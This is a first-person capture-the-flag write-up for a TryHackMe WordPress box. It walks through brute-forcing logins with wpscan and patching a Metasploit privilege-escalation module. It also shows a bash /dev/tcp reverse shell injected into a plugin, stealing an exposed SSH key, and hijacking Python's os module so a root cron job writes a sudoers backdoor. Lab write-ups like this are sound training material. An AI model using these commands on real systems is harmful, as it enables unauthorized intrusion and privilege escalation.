This is a writeup for Jack on TryHackMe

The basics

Just like with other CTFs of this nature, you'll need: One (or more) VPNs, a computer, and a keyboard. Or a voice recognition software. Although, I don't really recommend the latter one.

But aside of that, there are some additional things that you'll need for this challenge: Metasploit (if you don't have it already, you can download it on and Python.

Okay! Let's do some hacking!

Oh, and a disclaimer: Just like always, the easy answers are disclosed, but the answers where you need to put some effort into it, are redacted. With that said, I wish you happy hacking!


#1 What is the user flag?

Since there are only two tasks, we need to split them apart, since for both there's quote a journey to get to for either of them.

1.a) Enumerate all the things!

Breaking out our trusty nmap, we get expected results for a webserver: Opened port 80 and 22; so SSH and HTTP ports.

$ nmap -sC -sV -oN nmap/initial jack.thm

gives us

Nmap scan report for jack.thm (<ip>)
Host is up (0.061s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 5.3.2
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Jack&#039;s Personal Site &#8211; Blog for Jacks writing adven...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Right. There's a Wordpress running on the server, which will likely be our entry point, although neither SSH nor Wordpress gives us any authentication bypass exploits given their respective versions. So, what's next?

1.b) Enumerate even more things!

As said before, the most likely entry point would be through Wordpress, so we employ a tool called wpscan. This tool is built specifically for Wordpress, so you won't need to fiddle with Hydra or something alike. If you don't have it, you can download it here:, but if you're rocking a pentesting distro like Kali or Parrot, you should already have it installed. If not, a quick apt install wpscan should resolve that.

Since the site is dedicated to Jack, we assume one of the users is jack, and a dummy entry into wp-admin says it is so. Although, there may be more of them. And

$ wpscan --url jack.thm --enumerate u

confirms that with

 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://jack.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Okay. We have usernames which we cram into users.txt, and go after their passwords with:

$ wpscan --url jack.thm -t 3 -P /opt/rockyou.txt -U users.txt

Aaaaand... nothing. Nada. Zilch. Zip. Squat. I waited for wpscan to get to 100,000th entry before I called it. If you were someone that's been chasing THM's flags, you'd realize that some rooms like to hide their passwords pretty deep in the rockyou's list, but not this deep. Time for something else. Fortunately, there's a few more lists (at least on Kali):

$ ls -al /usr/share/wordlists/
total 136660
drwxr-xr-x   2 root root      4096 Jun 10 16:58 .
drwxr-xr-x 403 root root     12288 Sep 21 18:06 ..
lrwxrwxrwx   1 root root        25 May 25 00:34 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx   1 root root        30 May 25 00:34 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx   1 root root        35 May 25 00:34 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
lrwxrwxrwx   1 root root        41 May 25 00:34 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx   1 root root        45 May 25 00:34 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx   1 root root        46 May 25 00:34 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx   1 root root        41 May 25 00:34 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r--   1 root root 139921507 Jul 17  2019 rockyou.txt
lrwxrwxrwx   1 root root        19 May 25 00:34 seclists -> /usr/share/seclists
lrwxrwxrwx   1 root root        25 May 25 00:34 wfuzz -> /usr/share/wfuzz/wordlist

And a quick

$ wc -l /usr/share/wordlists/* 2>/dev/null

gives us

   17576 /usr/share/wordlists/dnsmap.txt
     222 /usr/share/wordlists/fasttrack.txt
    5084 /usr/share/wordlists/nmap.lst
14344392 /usr/share/wordlists/rockyou.txt

So, let's use the smallest list and then move towards the bigger ones if necessary...

$ wpscan --url jack.thm -t 3 -P /usr/share/wordlists/fasttrack.txt -U users.txt


[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - [redacted] / [redacted]
Trying jack / starwars Time: 00:00:34 <=======================        > (645 / 867) 74.39%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: [redacted], Password: [redacted]

Yes! We're in!

Okay, now... As we log in, we quickly realize that we can't do anything. Everything we can do has to be confirmed by Jack. Sounds like a dead end. Although, it may not be. The hint on the site reveals us there's something else we can poke: Wordpress plugins.

However, googling the provided hint gives us the answer on a silver platter, and there's no fun in that. Instead, we go even further:

1.c) Enumerating madness!

Just when we thought we can't enumerate more things, we proceed to enumerate even more things, this time our focus is (as mentioned before) on Wordpress plugins.

Let's look for vulnerable plugins first:

$ wpscan --url -t 10 -e vp --plugins-detection aggressive
[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:34 <=======================> (2373 / 2373) 100.00% Time: 00:00:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

Nothing. That's not going to cut it. Let's enumerate everything:

$ wpscan --url jack.thm -t 10 -e ap --plugins-detection aggressive

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 01:55:41 <==================> (89001 / 89001) 100.00% Time: 01:55:41
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Version: 3.1.7 (100% confidence)

[+] user-role-editor
 | Location: http://jack.thm/wp-content/plugins/user-role-editor/
 | Last Updated: 2020-09-06T02:49:00.000Z
 | Readme: http://jack.thm/wp-content/plugins/user-role-editor/readme.txt
 | [!] The version is out of date, the latest version is 4.56.1
 | Version: 4.24 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://jack.thm/wp-content/plugins/user-role-editor/readme.txt

Aha! Here we go! Let's see if there's anything useful in the --

$ searchsploit user role editor
-------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ---------------------------------
WordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery       | php/webapps/25721.txt
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation           | php/webapps/44595.rb
-------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Nice. There's an exploit listed AND it's a Metasploit module. Double nice. We copy the file, insert the necessary information, and...

msf5 auxiliary(unix/webapp/ure_exploit) > exploit
[*] Running module against <ip>

[*] <ip>:80 - WordPress - Authentication - [redacted]:[redacted]
[+] <ip>:80 - WordPress - Authentication - OK
[*] <ip>:80 - WordPress - Getting data   - /wp-admin/profile.php
[+] <ip>:80 - WordPress - Getting data   - _wpnonce
[+] <ip>:80 - WordPress - Getting data   - color-nonce
[+] <ip>:80 - WordPress - Getting data   - checkuser_id
[+] <ip>:80 - WordPress - Getting data   - nickname
[+] <ip>:80 - WordPress - Getting data   - display_name
[-] Auxiliary aborted due to failure: <ip>:80 - WordPress - Getting data   - Failed (email):
[*] Auxiliary module execution completed

Hey, what gives?

After inspecting the module and the profile portion of Wordpress, I saw there's a discrepancy between Wordpress (newer version?) and the Metasploit module, namely:


missing in the Metasplit module. We quickly edit the module with

msf5 auxiliary(unix/webapp/ure_exploit) > edit

navigate to

email        = check_response(res, "email",        /name=\"email\" id=\"email\" value=\"(.+?(?=\"))\"/)

and replace it with

email        = check_response(res, "email",        /name=\"email\" id=\"email\" aria-describedby=\"email-description\" value=\"(.+?(?=\"))\"/)

rerun the module again, and -- success! In wordpress we now have the same privileges as Jack. We could fiddle around with Jack's stuff, but that's not why we are here.

1.d) Plugins, shells, and reverse shells

With administration-level rights, we can modify a 404 file template or something in that direction, and -- Nothing. Seems like the file isn't writable by www-data. So... What else is there? We can't make a post with a PHP code or anything either. Okay. Time for a different approach. Since the wpscan told us there are other plugins on the site aside of URE, we can look into those.

There's some brief explanation on how the Wordpress' plugin editor works here: .

With that, we navigate to the first plug in, hit 'save', and -- Success! We can save a PHP file. So, where do we go from there?

Reverse shell, of course! Aksimet is the first plugin on the list, so we pick it for the deployment of the shell. Just throw in a little bit of code, and you'll be good to go. (Although, do keep in mind that you can't save activated plugin. Deactivate the plugin first, do your magic with it, save, and then reactivate it.)

if ( is_admin() ) {
        exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker ip here>/8888 0>&1'");
        require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' );
        add_action( 'init', array( 'Akismet_Admin', 'init' ) );

and with

nc -nvl 8888

running on our side, as we activate the plugin, we gain our access! (8888 is just my port of choice)

1.e) Flags and permissions

With shell access, we can move around. First choice would be to peer into /home/jack and see if there's a flag waiting for us:

$ ls /home/jack
reminder.txt user.txt


$ cat reminder.txt
Please read the memo on linux file permissions, last time your backups almost got us hacked! Jack will hear about this when he gets back.

Backups, huh? That sounds like an interesting place to visit. So we navigate to /var/backups and --

$ cd /var/backups
$ ls -al
-rwxrwxrwx  1 root root     1675 Jan 10  2020 id_rsa

Nice. We can just cat the private key and attempt to log in as Jack. Success!

And while we're at it, we can simply grab the user flag, which is:

$ cat user.txt

Whew! That was quite a bit of work, but we're not done yet.

#2 What is the root flag?

To get to this we have to dig even deeper.

2.a) Who we are and where do we belong?

A quick

$ id

gives us

uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)

By being in the 'adm' group we get access to some logs, group plugdev could give us some kind of access through the plugdev, but after quite a bit of searching, I found nothing of interest. That leaves us with the group 1001 - family. Let's see if there's anything interesting that belongs to that group:

jack@jack:/$ find . -group family 2>/dev/null

Entire Python library?!? Wait a minute... But even so... How do we exploit this? There has to be something that's running as root that's worth investigating... although, ps ax reveals nothing. HOWEVER --

2.b) A quick peek at the logs

We belong in the 'adm' group, right? Let's see if we have access to some interesting logs...

jack@jack:/var/log$ ls -al
drwxr-x---  2 root   adm      4096 Jan  9  2020 apache2
-rw-r-----  1 syslog adm     58247 Sep 26 08:12 auth.log
-rw-r-----  1 root   adm        31 Feb 26  2019 dmesg
-rw-r-----  1 syslog adm    345459 Sep 26 07:47 kern.log
drwxr-s---  2 mysql  adm      4096 Jan  9  2020 mysql
-rw-r-----  1 syslog adm    366116 Sep 26 08:12 syslog
-rw-r-----  1 syslog adm    175404 Jan 10  2020 syslog.1

Given the auth.log gives us nothing as well as kern.log, we look at syslog and --

jack CRON[1792]: (root) CMD (/usr/bin/python /opt/statuscheck/

Hm. A possible entry point?

2.c) Exploring and exploiting Python modules

So we have our CRON runner and application that's executed as root. Good. With a quick

$ cat /opt/statuscheck/

we get

import os

os.system("/usr/bin/curl -s -I >> /opt/statuscheck/output.log")

As the description of the box said we need to use Python module to get the root privileges, we now know which one is that: os. We are simply going to replace the low-level system call with an alternative: Like this:

jack@jack:~$ vim /usr/lib/python2.7/


def system(smt):
    import subprocess"printf '\njack ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers ", shell = True)

This will replace the system's system() call

Wait for 2 minutes for CRON to fire again, and --

jack@jack:~$ sudo su -
root@jack:~# cat root.txt

Yes! We got our flag, we got our badge, and our hacking skill had been increased by 1.

# Afterthoughts

As hard as the level was, it took me way longer than it should. There are quite a few things that lead me down the wild-goose chase, like an old version of Python and even the version of Wordpress. Although the biggest time sink (at least for me) was not using the rockyou file. Which was super sneaky. Additionally, after I finished the room, I went to check if the used password is even inside of rockyou, and surprisingly enough -- isn't.

It was challenging, but nice. Maybe more on the 'intermediate' side than on the 'hard' one, given the hints.

-- by7e

- by7e_